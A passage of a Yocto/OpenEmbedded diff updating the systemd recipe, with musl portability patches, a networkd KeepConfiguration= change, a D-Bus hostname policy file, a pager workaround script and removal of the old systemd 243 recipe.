+@@ -523,6 +540,9 @@ int nss_group_record_by_gid(
+ incomplete = true;
+
+ r = nss_group_to_group_record(result, sresult, ret);
++#else
++ r = nss_group_to_group_record(result, NULL, ret);
++#endif
+ if (r < 0)
+ return r;
+
+--- a/src/shared/user-record-nss.h
++++ b/src/shared/user-record-nss.h
+@@ -2,7 +2,11 @@
+ #pragma once
+
+ #include <grp.h>
++#if ENABLE_GSHADOW
+ #include <gshadow.h>
++#else
++struct sgrp;
++#endif
+ #include <pwd.h>
+ #include <shadow.h>
+
+--- a/src/shared/userdb.c
++++ b/src/shared/userdb.c
+@@ -1046,13 +1046,15 @@ int groupdb_iterator_get(UserDBIterator
+ if (gr) {
+ _cleanup_free_ char *buffer = NULL;
+ bool incomplete = false;
++#if ENABLE_GSHADOW
+ struct sgrp sgrp;
+-
++#endif
+ if (streq_ptr(gr->gr_name, "root"))
+ iterator->synthesize_root = false;
+ if (gr->gr_gid == GID_NOBODY)
+ iterator->synthesize_nobody = false;
+
++#if ENABLE_GSHADOW
+ if (!FLAGS_SET(iterator->flags, USERDB_SUPPRESS_SHADOW)) {
+ r = nss_sgrp_for_group(gr, &sgrp, &buffer);
+ if (r < 0) {
+@@ -1065,6 +1067,9 @@ int groupdb_iterator_get(UserDBIterator
+ }
+
+ r = nss_group_to_group_record(gr, r >= 0 ? &sgrp : NULL, ret);
++#else
++ r = nss_group_to_group_record(gr, NULL, ret);
++#endif
+ if (r < 0)
+ return r;
+
diff --git a/meta/recipes-core/systemd/systemd/0028-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch b/meta/recipes-core/systemd/systemd/0028-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch
new file mode 100644
index 0000000000..f4a71be7cc
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0028-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch
@@ -0,0 +1,42 @@
+From 6f0dd2ba75b68036d7b4ebfe47ac5eaf44d26f06 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 12 Apr 2021 23:44:53 -0700
+Subject: [PATCH] missing_syscall.h: Define MIPS ABI defines for musl
+
+musl does not define _MIPS_SIM_ABI32, _MIPS_SIM_NABI32, _MIPS_SIM_ABI64
+unlike glibc where these are provided by libc headers, therefore define
+them here in case they are undefined
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ src/basic/missing_syscall.h | 6 ++++++
+ 1 file changed, 6 insertions(+)
+
+--- a/src/basic/missing_syscall.h
++++ b/src/basic/missing_syscall.h
+@@ -20,6 +20,12 @@
+ #include <asm/sgidefs.h>
+ #endif
+
++#ifndef _MIPS_SIM_ABI32
++#define _MIPS_SIM_ABI32 1
++#define _MIPS_SIM_NABI32 2
++#define _MIPS_SIM_ABI64 3
++#endif
++
+ #include "macro.h"
+ #include "missing_keyctl.h"
+ #include "missing_stat.h"
+--- a/src/shared/base-filesystem.c
++++ b/src/shared/base-filesystem.c
+@@ -19,6 +19,7 @@
+ #include "string-util.h"
+ #include "umask-util.h"
+ #include "user-util.h"
++#include "missing_syscall.h"
+
+ typedef struct BaseFilesystem {
+ const char *dir; /* directory or symlink to create */
diff --git a/meta/recipes-core/systemd/systemd/0029-network-enable-KeepConfiguration-when-running-on-net.patch b/meta/recipes-core/systemd/systemd/0029-network-enable-KeepConfiguration-when-running-on-net.patch
new file mode 100644
index 0000000000..782b9645cb
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0029-network-enable-KeepConfiguration-when-running-on-net.patch
@@ -0,0 +1,253 @@
+From 6f4e84126aaa4e26cb6865b054ea5ddebd3906e5 Mon Sep 17 00:00:00 2001
+From: Yu Watanabe <watanabe.yu+github@gmail.com>
+Date: Thu, 3 Feb 2022 12:14:19 +0900
+Subject: [PATCH] network: enable KeepConfiguration= when running on network
+ filesystem
+Cc: pavel@zhukoff.net
+
+Upstream-Status: Submitted [https://github.com/systemd/systemd/pull/22383]
+[YOCTO #14708]
+
+network-generator: rename DHCP_TYPE_DHCP -> DHCP_TYPE_DHCP4
+
+To emphasize this is DHCPv4. No behavior is changed.
+
+stat-util: introduce path_is_network_fs()
+
+network: enable KeepConfiguration= when running on network filesystem
+
+Also, set KeepConfiguration=dhcp-on-stop by default when running in
+initrd.
+
+Fixes #21967.
+---
+ man/systemd.network.xml | 6 +++--
+ src/basic/stat-util.c | 9 +++++++
+ src/basic/stat-util.h | 1 +
+ src/network/generator/network-generator.c | 4 ++--
+ src/network/generator/network-generator.h | 2 +-
+ src/network/networkd-manager.c | 29 +++++++++++++++++++++++
+ src/network/networkd-manager.h | 2 ++
+ src/network/networkd-network.c | 12 ++++++----
+ src/network/test-networkd-conf.c | 5 ++++
+ 9 files changed, 60 insertions(+), 10 deletions(-)
+
+diff --git a/man/systemd.network.xml b/man/systemd.network.xml
+index af431e4f2c..f90cff4cd6 100644
+--- a/man/systemd.network.xml
++++ b/man/systemd.network.xml
+@@ -944,8 +944,10 @@ Table=1234</programlisting></para>
+ lease expires. This is contrary to the DHCP specification, but may be the best choice if,
+ e.g., the root filesystem relies on this connection. The setting <literal>dhcp</literal>
+ implies <literal>dhcp-on-stop</literal>, and <literal>yes</literal> implies
+- <literal>dhcp</literal> and <literal>static</literal>. Defaults to <literal>no</literal>.
+- </para>
++ <literal>dhcp</literal> and <literal>static</literal>. Defaults to
++ <literal>dhcp-on-stop</literal> when <command>systemd-networkd</command> is running in
++ initrd, <literal>yes</literal> when the root filesystem is a network filesystem, and
++ <literal>no</literal> otherwise.</para>
+ </listitem>
+ </varlistentry>
+ </variablelist>
+diff --git a/src/basic/stat-util.c b/src/basic/stat-util.c
+index efac7b002e..c2269844f8 100644
+--- a/src/basic/stat-util.c
++++ b/src/basic/stat-util.c
+@@ -249,6 +249,15 @@ int path_is_temporary_fs(const char *path) {
+ return is_temporary_fs(&s);
+ }
+
++int path_is_network_fs(const char *path) {
++ struct statfs s;
++
++ if (statfs(path, &s) < 0)
++ return -errno;
++
++ return is_network_fs(&s);
++}
++
+ int stat_verify_regular(const struct stat *st) {
+ assert(st);
+
+diff --git a/src/basic/stat-util.h b/src/basic/stat-util.h
+index a566114f7c..f7d2f12aa9 100644
+--- a/src/basic/stat-util.h
++++ b/src/basic/stat-util.h
+@@ -53,6 +53,7 @@ int fd_is_temporary_fs(int fd);
+ int fd_is_network_fs(int fd);
+
+ int path_is_temporary_fs(const char *path);
++int path_is_network_fs(const char *path);
+
+ /* Because statfs.t_type can be int on some architectures, we have to cast
+ * the const magic to the type, otherwise the compiler warns about
+diff --git a/src/network/generator/network-generator.c b/src/network/generator/network-generator.c
+index c081ec673c..063ad08d80 100644
+--- a/src/network/generator/network-generator.c
++++ b/src/network/generator/network-generator.c
+@@ -47,7 +47,7 @@ static const char * const dracut_dhcp_type_table[_DHCP_TYPE_MAX] = {
+ [DHCP_TYPE_OFF] = "off",
+ [DHCP_TYPE_ON] = "on",
+ [DHCP_TYPE_ANY] = "any",
+- [DHCP_TYPE_DHCP] = "dhcp",
++ [DHCP_TYPE_DHCP4] = "dhcp",
+ [DHCP_TYPE_DHCP6] = "dhcp6",
+ [DHCP_TYPE_AUTO6] = "auto6",
+ [DHCP_TYPE_EITHER6] = "either6",
+@@ -62,7 +62,7 @@ static const char * const networkd_dhcp_type_table[_DHCP_TYPE_MAX] = {
+ [DHCP_TYPE_OFF] = "no",
+ [DHCP_TYPE_ON] = "yes",
+ [DHCP_TYPE_ANY] = "yes",
+- [DHCP_TYPE_DHCP] = "ipv4",
++ [DHCP_TYPE_DHCP4] = "ipv4",
+ [DHCP_TYPE_DHCP6] = "ipv6",
+ [DHCP_TYPE_AUTO6] = "no", /* TODO: enable other setting? */
+ [DHCP_TYPE_EITHER6] = "ipv6", /* TODO: enable other setting? */
+diff --git a/src/network/generator/network-generator.h b/src/network/generator/network-generator.h
+index dd0a58738b..0e0da2a57a 100644
+--- a/src/network/generator/network-generator.h
++++ b/src/network/generator/network-generator.h
+@@ -13,7 +13,7 @@ typedef enum DHCPType {
+ DHCP_TYPE_OFF,
+ DHCP_TYPE_ON,
+ DHCP_TYPE_ANY,
+- DHCP_TYPE_DHCP,
++ DHCP_TYPE_DHCP4,
+ DHCP_TYPE_DHCP6,
+ DHCP_TYPE_AUTO6,
+ DHCP_TYPE_EITHER6,
+diff --git a/src/network/networkd-manager.c b/src/network/networkd-manager.c
+index 7e89366ae8..3261f289e9 100644
+--- a/src/network/networkd-manager.c
++++ b/src/network/networkd-manager.c
+@@ -398,6 +398,30 @@ static int signal_restart_callback(sd_event_source *s, const struct signalfd_sig
+ return sd_event_exit(sd_event_source_get_event(s), 0);
+ }
+
++static int manager_set_keep_configuration(Manager *m) {
++ int r;
++
++ assert(m);
++
++ if (in_initrd()) {
++ log_debug("Running in initrd, keep DHCPv4 addresses on stopping networkd by default.");
++ m->keep_configuration = KEEP_CONFIGURATION_DHCP_ON_STOP;
++ return 0;
++ }
++
++ r = path_is_network_fs("/");
++ if (r < 0)
++ return log_error_errno(r, "Failed to detect if root is network filesystem: %m");
++ if (r == 0) {
++ m->keep_configuration = _KEEP_CONFIGURATION_INVALID;
++ return 0;
++ }
++
++ log_debug("Running on network filesystem, enabling KeepConfiguration= by default.");
++ m->keep_configuration = KEEP_CONFIGURATION_YES;
++ return 0;
++}
++
+ int manager_setup(Manager *m) {
+ int r;
+
+@@ -453,6 +477,10 @@ int manager_setup(Manager *m) {
+ if (r < 0)
+ return r;
+
++ r = manager_set_keep_configuration(m);
++ if (r < 0)
++ return r;
++
+ m->state_file = strdup("/run/systemd/netif/state");
+ if (!m->state_file)
+ return -ENOMEM;
+@@ -468,6 +496,7 @@ int manager_new(Manager **ret, bool test_mode) {
+ return -ENOMEM;
+
+ *m = (Manager) {
++ .keep_configuration = _KEEP_CONFIGURATION_INVALID,
+ .test_mode = test_mode,
+ .speed_meter_interval_usec = SPEED_METER_DEFAULT_TIME_INTERVAL,
+ .online_state = _LINK_ONLINE_STATE_INVALID,
+diff --git a/src/network/networkd-manager.h b/src/network/networkd-manager.h
+index 36313589a3..86de529124 100644
+--- a/src/network/networkd-manager.h
++++ b/src/network/networkd-manager.h
+@@ -28,6 +28,8 @@ struct Manager {
+ Hashmap *polkit_registry;
+ int ethtool_fd;
+
++ KeepConfiguration keep_configuration;
++
+ bool test_mode;
+ bool enumerating;
+ bool dirty;
+diff --git a/src/network/networkd-network.c b/src/network/networkd-network.c
+index 3142be471f..edcd68d616 100644
+--- a/src/network/networkd-network.c
++++ b/src/network/networkd-network.c
+@@ -124,6 +124,7 @@ int network_verify(Network *network) {
+ int r;
+
+ assert(network);
++ assert(network->manager);
+ assert(network->filename);
+
+ if (net_match_is_empty(&network->match) && !network->conditions)
+@@ -248,10 +249,11 @@ int network_verify(Network *network) {
+ }
+
+ if (network->dhcp_critical >= 0) {
+- if (network->keep_configuration >= 0)
+- log_warning("%s: Both KeepConfiguration= and deprecated CriticalConnection= are set. "
+- "Ignoring CriticalConnection=.", network->filename);
+- else if (network->dhcp_critical)
++ if (network->keep_configuration >= 0) {
++ if (network->manager->keep_configuration < 0)
++ log_warning("%s: Both KeepConfiguration= and deprecated CriticalConnection= are set. "
++ "Ignoring CriticalConnection=.", network->filename);
++ } else if (network->dhcp_critical)
+ /* CriticalConnection=yes also preserve foreign static configurations. */
+ network->keep_configuration = KEEP_CONFIGURATION_YES;
+ else
+@@ -386,7 +388,7 @@ int network_load_one(Manager *manager, OrderedHashmap **networks, const char *fi
+ .allmulticast = -1,
+ .promiscuous = -1,
+
+- .keep_configuration = _KEEP_CONFIGURATION_INVALID,
++ .keep_configuration = manager->keep_configuration,
+
+ .dhcp_duid.type = _DUID_TYPE_INVALID,
+ .dhcp_critical = -1,
+diff --git a/src/network/test-networkd-conf.c b/src/network/test-networkd-conf.c
+index 4b00a98086..5f1328e39c 100644
+--- a/src/network/test-networkd-conf.c
++++ b/src/network/test-networkd-conf.c
+@@ -6,6 +6,7 @@
+ #include "net-condition.h"
+ #include "networkd-address.h"
+ #include "networkd-conf.h"
++#include "networkd-manager.h"
+ #include "networkd-network.h"
+ #include "strv.h"
+
+@@ -166,11 +167,15 @@ static void test_config_parse_ether_addr(void) {
+ }
+
+ static void test_config_parse_address_one(const char *rvalue, int family, unsigned n_addresses, const union in_addr_union *u, unsigned char prefixlen) {
++ _cleanup_(manager_freep) Manager *manager = NULL;
+ _cleanup_(network_unrefp) Network *network = NULL;
+
++ assert_se(manager_new(&manager, /* test_mode = */ true) >= 0);
+ assert_se(network = new0(Network, 1));
+ network->n_ref = 1;
++ network->manager = manager;
+ assert_se(network->filename = strdup("hogehoge.network"));
++
+ assert_se(config_parse_match_ifnames("network", "filename", 1, "section", 1, "Name", 0, "*", &network->match.ifname, network) == 0);
+ assert_se(config_parse_address("network", "filename", 1, "section", 1, "Address", 0, rvalue, network, network) == 0);
+ assert_se(ordered_hashmap_size(network->addresses_by_section) == 1);
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf b/meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf
new file mode 100644
index 0000000000..f4d0271cdb
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf
@@ -0,0 +1,11 @@
+<?xml version="1.0"?> <!--*-nxml-*-->
+<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
+ "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
+
+<busconfig>
+ <policy group="systemd-hostname">
+ <allow own="org.freedesktop.hostname1"/>
+ <allow send_destination="org.freedesktop.hostname1"/>
+ <allow receive_sender="org.freedesktop.hostname1"/>
+ </policy>
+</busconfig>
diff --git a/meta/recipes-core/systemd/systemd/systemd-pager.sh b/meta/recipes-core/systemd/systemd/systemd-pager.sh
new file mode 100644
index 0000000000..86e3e0ab78
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/systemd-pager.sh
@@ -0,0 +1,7 @@
+# Systemd expect a color capable pager, however the less provided
+# by busybox is not. This make many interaction with systemd pretty
+# annoying. As a workaround we disable the systemd pager if less
+# is not the GNU version.
+if ! less -V > /dev/null 2>&1 ; then
+ export SYSTEMD_PAGER=
+fi
diff --git a/meta/recipes-core/systemd/systemd_243.bb b/meta/recipes-core/systemd/systemd_243.bb
deleted file mode 100644
index 6e7f95693b..0000000000
--- a/meta/recipes-core/systemd/systemd_243.bb
+++ /dev/null
@@ -1,684 +0,0 @@
-require systemd.inc
-
-PROVIDES = "udev"
-
-PE = "1"
-
-DEPENDS = "intltool-native gperf-native libcap util-linux"
-
-SECTION = "base/shell"
-
-inherit useradd pkgconfig meson perlnative update-rc.d update-alternatives qemu systemd gettext bash-completion manpages distro_features_check
-
-# As this recipe builds udev, respect systemd being in DISTRO_FEATURES so
-# that we don't build both udev and systemd in world builds.
-REQUIRED_DISTRO_FEATURES = "systemd"
-
-SRC_URI += "file://touchscreen.rules \
- file://00-create-volatile.conf \
- file://init \
- file://0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch \
- file://0002-use-lnr-wrapper-instead-of-looking-for-relative-opti.patch \
- file://0003-implment-systemd-sysv-install-for-OE.patch \
- file://0004-rules-whitelist-hd-devices.patch \
- file://0005-rules-watch-metadata-changes-in-ide-devices.patch \
- file://0001-unit-file.c-consider-symlink-on-filesystems-like-NFS.patch \
- file://99-default.preset \
- "
-
-# patches needed by musl
-SRC_URI_append_libc-musl = " ${SRC_URI_MUSL}"
-SRC_URI_MUSL = "\
- file://0002-don-t-use-glibc-specific-qsort_r.patch \
- file://0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch \
- file://0004-add-fallback-parse_printf_format-implementation.patch \
- file://0005-src-basic-missing.h-check-for-missing-strndupa.patch \
- file://0006-Include-netinet-if_ether.h.patch \
- file://0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch \
- file://0008-add-missing-FTW_-macros-for-musl.patch \
- file://0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch \
- file://0011-Use-uintmax_t-for-handling-rlim_t.patch \
- file://0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch \
- file://0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch \
- file://0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch \
- file://0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch \
- file://0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch \
- file://0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch \
- file://0020-missing_type.h-add-__compar_d_fn_t-definition.patch \
- file://0021-avoid-redefinition-of-prctl_mm_map-structure.patch \
- file://0024-test-json.c-define-M_PIl.patch \
- file://0001-do-not-disable-buffer-in-writing-files.patch \
- file://0002-src-login-brightness.c-include-sys-wait.h.patch \
- file://0003-src-basic-copy.c-include-signal.h.patch \
- file://0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch \
- "
-
-PAM_PLUGINS = " \
- pam-plugin-unix \
- pam-plugin-loginuid \
- pam-plugin-keyinit \
-"
-
-PACKAGECONFIG ??= " \
- ${@bb.utils.filter('DISTRO_FEATURES', 'efi ldconfig pam selinux usrmerge polkit', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'rfkill', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xkbcommon', '', d)} \
- acl \
- backlight \
- binfmt \
- gshadow \
- hibernate \
- hostnamed \
- idn \
- ima \
- kmod \
- localed \
- logind \
- machined \
- myhostname \
- networkd \
- nss \
- nss-mymachines \
- nss-resolve \
- quotacheck \
- randomseed \
- resolved \
- set-time-epoch \
- smack \
- sysusers \
- timedated \
- timesyncd \
- utmp \
- vconsole \
- xz \
-"
-
-PACKAGECONFIG_remove_libc-musl = " \
- gshadow \
- idn \
- localed \
- myhostname \
- nss \
- nss-mymachines \
- nss-resolve \
- resolved \
- smack \
- sysusers \
- utmp \
-"
-
-# Use the upstream systemd serial-getty@.service and rely on
-# systemd-getty-generator instead of using the OE-core specific
-# systemd-serialgetty.bb - not enabled by default.
-PACKAGECONFIG[serial-getty-generator] = ""
-
-PACKAGECONFIG[acl] = "-Dacl=true,-Dacl=false,acl"
-PACKAGECONFIG[audit] = "-Daudit=true,-Daudit=false,audit"
-PACKAGECONFIG[backlight] = "-Dbacklight=true,-Dbacklight=false"
-PACKAGECONFIG[binfmt] = "-Dbinfmt=true,-Dbinfmt=false"
-PACKAGECONFIG[bzip2] = "-Dbzip2=true,-Dbzip2=false,bzip2"
-PACKAGECONFIG[cgroupv2] = "-Ddefault-hierarchy=unified,-Ddefault-hierarchy=hybrid"
-PACKAGECONFIG[coredump] = "-Dcoredump=true,-Dcoredump=false"
-PACKAGECONFIG[cryptsetup] = "-Dlibcryptsetup=true,-Dlibcryptsetup=false,cryptsetup"
-PACKAGECONFIG[dbus] = "-Ddbus=true,-Ddbus=false,dbus"
-PACKAGECONFIG[efi] = "-Defi=true,-Defi=false"
-PACKAGECONFIG[gnu-efi] = "-Dgnu-efi=true -Defi-libdir=${STAGING_LIBDIR} -Defi-includedir=${STAGING_INCDIR}/efi,-Dgnu-efi=false,gnu-efi"
-PACKAGECONFIG[elfutils] = "-Delfutils=true,-Delfutils=false,elfutils"
-PACKAGECONFIG[firstboot] = "-Dfirstboot=true,-Dfirstboot=false"
-# Sign the journal for anti-tampering
-PACKAGECONFIG[gcrypt] = "-Dgcrypt=true,-Dgcrypt=false,libgcrypt"
-PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
-PACKAGECONFIG[gshadow] = "-Dgshadow=true,-Dgshadow=false"
-PACKAGECONFIG[hibernate] = "-Dhibernate=true,-Dhibernate=false"
-PACKAGECONFIG[hostnamed] = "-Dhostnamed=true,-Dhostnamed=false"
-PACKAGECONFIG[idn] = "-Didn=true,-Didn=false"
-PACKAGECONFIG[ima] = "-Dima=true,-Dima=false"
-# importd requires curl/xz/zlib/bzip2/gcrypt
-PACKAGECONFIG[importd] = "-Dimportd=true,-Dimportd=false"
-# Update NAT firewall rules
-PACKAGECONFIG[iptc] = "-Dlibiptc=true,-Dlibiptc=false,iptables"
-PACKAGECONFIG[journal-upload] = "-Dlibcurl=true,-Dlibcurl=false,curl"
-PACKAGECONFIG[kmod] = "-Dkmod=true,-Dkmod=false,kmod"
-PACKAGECONFIG[ldconfig] = "-Dldconfig=true,-Dldconfig=false"
-PACKAGECONFIG[libidn] = "-Dlibidn=true,-Dlibidn=false,libidn"
-PACKAGECONFIG[localed] = "-Dlocaled=true,-Dlocaled=false"
-PACKAGECONFIG[logind] = "-Dlogind=true,-Dlogind=false"
-PACKAGECONFIG[lz4] = "-Dlz4=true,-Dlz4=false,lz4"
-PACKAGECONFIG[machined] = "-Dmachined=true,-Dmachined=false"
-PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-PACKAGECONFIG[microhttpd] = "-Dmicrohttpd=true,-Dmicrohttpd=false,libmicrohttpd"
-PACKAGECONFIG[myhostname] = "-Dnss-myhostname=true,-Dnss-myhostname=false,,libnss-myhostname"
-PACKAGECONFIG[networkd] = "-Dnetworkd=true,-Dnetworkd=false"
-PACKAGECONFIG[nss] = "-Dnss-systemd=true,-Dnss-systemd=false"
-PACKAGECONFIG[nss-mymachines] = "-Dnss-mymachines=true,-Dnss-mymachines=false"
-PACKAGECONFIG[nss-resolve] = "-Dnss-resolve=true,-Dnss-resolve=false"
-PACKAGECONFIG[openssl] = "-Dopenssl=true,-Dopenssl=false,openssl"
-PACKAGECONFIG[pam] = "-Dpam=true,-Dpam=false,libpam,${PAM_PLUGINS}"
-PACKAGECONFIG[pcre2] = "-Dpcre2=true,-Dpcre2=false,libpcre2"
-PACKAGECONFIG[polkit] = "-Dpolkit=true,-Dpolkit=false"
-PACKAGECONFIG[portabled] = "-Dportabled=true,-Dportabled=false"
-PACKAGECONFIG[qrencode] = "-Dqrencode=true,-Dqrencode=false,qrencode"
-PACKAGECONFIG[quotacheck] = "-Dquotacheck=true,-Dquotacheck=false"
-PACKAGECONFIG[randomseed] = "-Drandomseed=true,-Drandomseed=false"
-PACKAGECONFIG[resolved] = "-Dresolve=true,-Dresolve=false"
-PACKAGECONFIG[rfkill] = "-Drfkill=true,-Drfkill=false"
-# libseccomp is found in meta-security
-PACKAGECONFIG[seccomp] = "-Dseccomp=true,-Dseccomp=false,libseccomp"
-PACKAGECONFIG[selinux] = "-Dselinux=true,-Dselinux=false,libselinux,initscripts-sushell"
-PACKAGECONFIG[smack] = "-Dsmack=true,-Dsmack=false"
-PACKAGECONFIG[sysusers] = "-Dsysusers=true,-Dsysusers=false"
-# When enabled use reproducble build timestamp if set as time epoch,
-# or build time if not. When disabled, time epoch is unset.
-def build_epoch(d):
- epoch = d.getVar('SOURCE_DATE_EPOCH') or "-1"
- return '-Dtime-epoch=%d' % int(epoch)
-PACKAGECONFIG[set-time-epoch] = "${@build_epoch(d)},-Dtime-epoch=0"
-PACKAGECONFIG[timedated] = "-Dtimedated=true,-Dtimedated=false"
-PACKAGECONFIG[timesyncd] = "-Dtimesyncd=true,-Dtimesyncd=false"
-PACKAGECONFIG[usrmerge] = "-Dsplit-usr=false,-Dsplit-usr=true"
-PACKAGECONFIG[sbinmerge] = "-Dsplit-bin=false,-Dsplit-bin=true"
-PACKAGECONFIG[utmp] = "-Dutmp=true,-Dutmp=false"
-PACKAGECONFIG[valgrind] = "-DVALGRIND=1,,valgrind"
-PACKAGECONFIG[vconsole] = "-Dvconsole=true,-Dvconsole=false,,${PN}-vconsole-setup"
-# Verify keymaps on locale change
-PACKAGECONFIG[xkbcommon] = "-Dxkbcommon=true,-Dxkbcommon=false,libxkbcommon"
-PACKAGECONFIG[xz] = "-Dxz=true,-Dxz=false,xz"
-PACKAGECONFIG[zlib] = "-Dzlib=true,-Dzlib=false,zlib"
-
-# Helper variables to clarify locations. This mirrors the logic in systemd's
-# build system.
-rootprefix ?= "${root_prefix}"
-rootlibdir ?= "${base_libdir}"
-rootlibexecdir = "${rootprefix}/lib"
-
-# This links udev statically with systemd helper library.
-# Otherwise udev package would depend on systemd package (which has the needed shared library),
-# and always pull it into images.
-EXTRA_OEMESON += "-Dlink-udev-shared=false"
-
-EXTRA_OEMESON += "-Dnobody-user=nobody \
- -Dnobody-group=nobody \
- -Drootlibdir=${rootlibdir} \
- -Drootprefix=${rootprefix} \
- -Dsysvrcnd-path=${sysconfdir} \
- -Ddefault-locale=C \
- "
-
-# Hardcode target binary paths to avoid using paths from sysroot
-EXTRA_OEMESON += "-Dkexec-path=${sbindir}/kexec \
- -Dkmod-path=${base_bindir}/kmod \
- -Dmount-path=${base_bindir}/mount \
- -Dquotacheck-path=${sbindir}/quotacheck \
- -Dquotaon-path=${sbindir}/quotaon \
- -Dsulogin-path=${base_sbindir}/sulogin \
- -Dnologin-path=${base_sbindir}/nologin \
- -Dumount-path=${base_bindir}/umount"
-
-do_install() {
- meson_do_install
- install -d ${D}/${base_sbindir}
- if ${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', 'false', 'true', d)}; then
- # Provided by a separate recipe
- rm ${D}${systemd_unitdir}/system/serial-getty* -f
- fi
-
- # Provide support for initramfs
- [ ! -e ${D}/init ] && ln -s ${rootlibexecdir}/systemd/systemd ${D}/init
- [ ! -e ${D}/${base_sbindir}/udevd ] && ln -s ${rootlibexecdir}/systemd/systemd-udevd ${D}/${base_sbindir}/udevd
-
- install -d ${D}${sysconfdir}/udev/rules.d/
- install -d ${D}${sysconfdir}/tmpfiles.d
- install -m 0644 ${WORKDIR}/*.rules ${D}${sysconfdir}/udev/rules.d/
-
- install -m 0644 ${WORKDIR}/00-create-volatile.conf ${D}${sysconfdir}/tmpfiles.d/
-
- if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/systemd-udevd
- sed -i s%@UDEVD@%${rootlibexecdir}/systemd/systemd-udevd% ${D}${sysconfdir}/init.d/systemd-udevd
- fi
-
- chown root:systemd-journal ${D}/${localstatedir}/log/journal
-
- # Delete journal README, as log can be symlinked inside volatile.
- rm -f ${D}/${localstatedir}/log/README
-
- # journal-remote creates this at start
- rm -rf ${D}/${localstatedir}/log/journal/remote
-
- install -d ${D}${systemd_unitdir}/system/graphical.target.wants
- install -d ${D}${systemd_unitdir}/system/multi-user.target.wants
- install -d ${D}${systemd_unitdir}/system/poweroff.target.wants
- install -d ${D}${systemd_unitdir}/system/reboot.target.wants
- install -d ${D}${systemd_unitdir}/system/rescue.target.wants
-
- # Create symlinks for systemd-update-utmp-runlevel.service
- if ${@bb.utils.contains('PACKAGECONFIG', 'utmp', 'true', 'false', d)}; then
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/graphical.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/multi-user.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/poweroff.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/reboot.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/rescue.target.wants/systemd-update-utmp-runlevel.service
- fi
-
- # this file is needed to exist if networkd is disabled but timesyncd is still in use since timesyncd checks it
- # for existence else it fails
- if [ -s ${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf ]; then
- ${@bb.utils.contains('PACKAGECONFIG', 'networkd', ':', 'sed -i -e "\$ad /run/systemd/netif/links 0755 root root -" ${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf', d)}
- fi
- if ! ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'true', 'false', d)}; then
- echo 'L! ${sysconfdir}/resolv.conf - - - - ../run/systemd/resolve/resolv.conf' >>${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
- echo 'd /run/systemd/resolve 0755 root root -' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
- echo 'f /run/systemd/resolve/resolv.conf 0644 root root' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
- ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
- else
- sed -i -e "s%^L! /etc/resolv.conf.*$%L! /etc/resolv.conf - - - - ../run/systemd/resolve/resolv.conf%g" ${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
- ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
- fi
- install -Dm 0755 ${S}/src/systemctl/systemd-sysv-install.SKELETON ${D}${systemd_unitdir}/systemd-sysv-install
-
- # If polkit is setup fixup permissions and ownership
- if ${@bb.utils.contains('PACKAGECONFIG', 'polkit', 'true', 'false', d)}; then
- if [ -d ${D}${datadir}/polkit-1/rules.d ]; then
- chmod 700 ${D}${datadir}/polkit-1/rules.d
- chown polkitd:root ${D}${datadir}/polkit-1/rules.d
- fi
- fi
-
- # create link for existing udev rules
- ln -s ${base_bindir}/udevadm ${D}${base_sbindir}/udevadm
-
- # duplicate udevadm for postinst script
- install -d ${D}${libexecdir}
- ln ${D}${base_bindir}/udevadm ${D}${libexecdir}/${MLPREFIX}udevadm
-
